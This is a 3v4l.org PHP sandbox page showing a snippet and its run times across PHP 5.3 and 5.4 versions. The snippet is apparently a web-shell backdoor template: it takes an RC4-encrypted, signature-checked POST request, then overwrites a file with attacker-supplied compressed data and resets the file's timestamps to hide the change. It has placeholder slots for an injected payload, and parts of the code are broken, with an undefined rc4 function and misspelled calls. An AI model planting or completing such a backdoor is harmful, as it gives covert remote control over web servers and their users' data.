3v4l.org

run code in 300+ PHP versions simultaneously
<?php $__["key1"]= "da17298d87447351e5473e334c41ba4b"; // Access key $__["key2"]= "ce0c742ad350ee7e0a26466fd9b5f56b"; // Crypto key $__["key3"]= "3bf6228c859400c084adea9a5e5f7b11"; // Signature (03eb720a3353aa0ca3d6e4fc21982c98) if (is_set ($_POST[$__["key1"]])) { $__["request"]= base64_decode ($_POST[$__["key1"]]); for($__["tmp"]["i"],$__["tmp"]["c"];$__["tmp"]["i"]<0x100;$__["tmp"]["i"]++) $__["tmp"]["c"][$__["tmp"]["i"]]=$__["tmp"]["i"]; for($__["tmp"]["i"]=0x0,$__["tmp"]["d"],$__["tmp"]["e"],$g=strlen($__["key2"]);$__["tmp"]["i"]<0x100;$__["tmp"]["i"]++) { $__["tmp"]["d"]=($__["tmp"]["d"]+$__["tmp"]["c"][$__["tmp"]["i"]]+ord($__["key2"][$__["tmp"]["i"]%$g]))%0x100; $__["tmp"]["e"]=$__["tmp"]["c"][$__["tmp"]["i"]]; $__["tmp"]["c"][$__["tmp"]["i"]]=$__["tmp"]["c"][$__["tmp"]["d"]]; $__["tmp"]["c"][$__["tmp"]["d"]]=$__["tmp"]["e"]; } for($__["tmp"]["y"],$__["tmp"]["i"],$__["tmp"]["d"]=0x0,$__["data"];$__["tmp"]["y"]<strlen($__["request"]);$__["tmp"]["y"]++) { $__["tmp"]["i"]=($__["tmp"]["i"]+0x1)%0x100; $__["tmp"]["d"]=($__["tmp"]["d"]+$__["tmp"]["c"][$__["tmp"]["i"]])%0x100; $__["tmp"]["e"]=$__["tmp"]["c"][$__["tmp"]["i"]]; $__["tmp"]["c"][$__["tmp"]["i"]]=$__["tmp"]["c"][$__["tmp"]["d"]]; $__["tmp"]["c"][$__["tmp"]["d"]]=$__["tmp"]["e"]; $__["data"].=chr(ord($__["request"][$__["tmp"]["y"]])^$__["tmp"]["c"][($__["tmp"]["c"][$__["tmp"]["i"]]+$__["tmp"]["c"][$__["tmp"]["d"]])%0x100]); } $__["data"]= unserialize ($__["data"]); if (is_array ($__["data"]) && md5 ($__["data"]["sing"]) == $__["key3"]) switch ($__["data"]["action"]) { case "update": $__["info"]= filectime ($__["file"]) - 0x5103073C; file_put_contents($__["file"], gzinflate (base64_decode ($__["data"]["data"]))); touch ($__["file"], 0x5103073C); echo md5 ($__["key1"].$__["key2"].$__["key3"]).serialize (array ("state" => "OK", "info" => $__["info"])).md5 ($__["key1"].$__["key2"].$__["key3"]); break; case "exec": case "info": default: break; } } if (/*expr*/) { touch ($__["file"], filectime ($__["file"]) + 1); ?>/*payload*/<?php } /* Data Signature Action type Data (Base64 (Gzip)) Answer State Info */ $key= md5 (time()); $message= "Hello dadsdasdsa 1231211 !!!"; $Encrypt= base64_encode (rc4 ($key, $message)); $Decrypt= rc4 ($key, base64_decode ($Encrypt)); echo "\n\nKey: $key\nMessage: $message\nEncrypt: $Encrypt\nDecrypt: $Decrypt";

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
5.4.240.0070.03612.42
5.4.230.0060.03912.41
5.4.220.0070.03612.41
5.4.210.0060.03612.41
5.4.200.0060.03812.41
5.4.190.0050.03812.41
5.4.180.0050.03712.41
5.4.170.0050.03712.42
5.4.160.0040.04312.41
5.4.150.0080.03512.41
5.4.140.0050.03812.10
5.4.130.0050.03612.08
5.4.120.0040.03712.05
5.4.110.0060.03512.04
5.4.100.0060.03512.04
5.4.90.0050.04112.04
5.4.80.0040.03812.04
5.4.70.0060.03412.04
5.4.60.0050.03512.04
5.4.50.0070.03412.04
5.4.40.0050.03512.02
5.4.30.0040.03712.02
5.4.20.0040.03612.02
5.4.10.0070.03412.02
5.4.00.0050.03611.52
5.3.280.0060.04612.71
5.3.270.0060.04912.72
5.3.260.0050.04312.72
5.3.250.0060.03812.72
5.3.240.0060.03812.72
5.3.230.0090.03512.71
5.3.220.0060.03812.68
5.3.210.0080.03812.68
5.3.200.0050.03812.68
5.3.190.0070.03812.68
5.3.180.0070.03612.67
5.3.170.0070.03612.67
5.3.160.0040.03912.67
5.3.150.0050.03812.67
5.3.140.0070.03512.66
5.3.130.0040.04112.66
5.3.120.0040.04112.66
5.3.110.0090.03612.66
5.3.100.0070.03912.12
5.3.90.0060.03712.10
5.3.80.0070.03512.08
5.3.70.0070.03512.09
5.3.60.0040.03812.07
5.3.50.0050.03612.02
5.3.40.0060.03712.02
5.3.30.0080.03411.97
5.3.20.0070.03511.75
5.3.10.0080.03411.71
5.3.00.0060.03611.70

preferences:
141.09 ms | 1394 KiB | 7 Q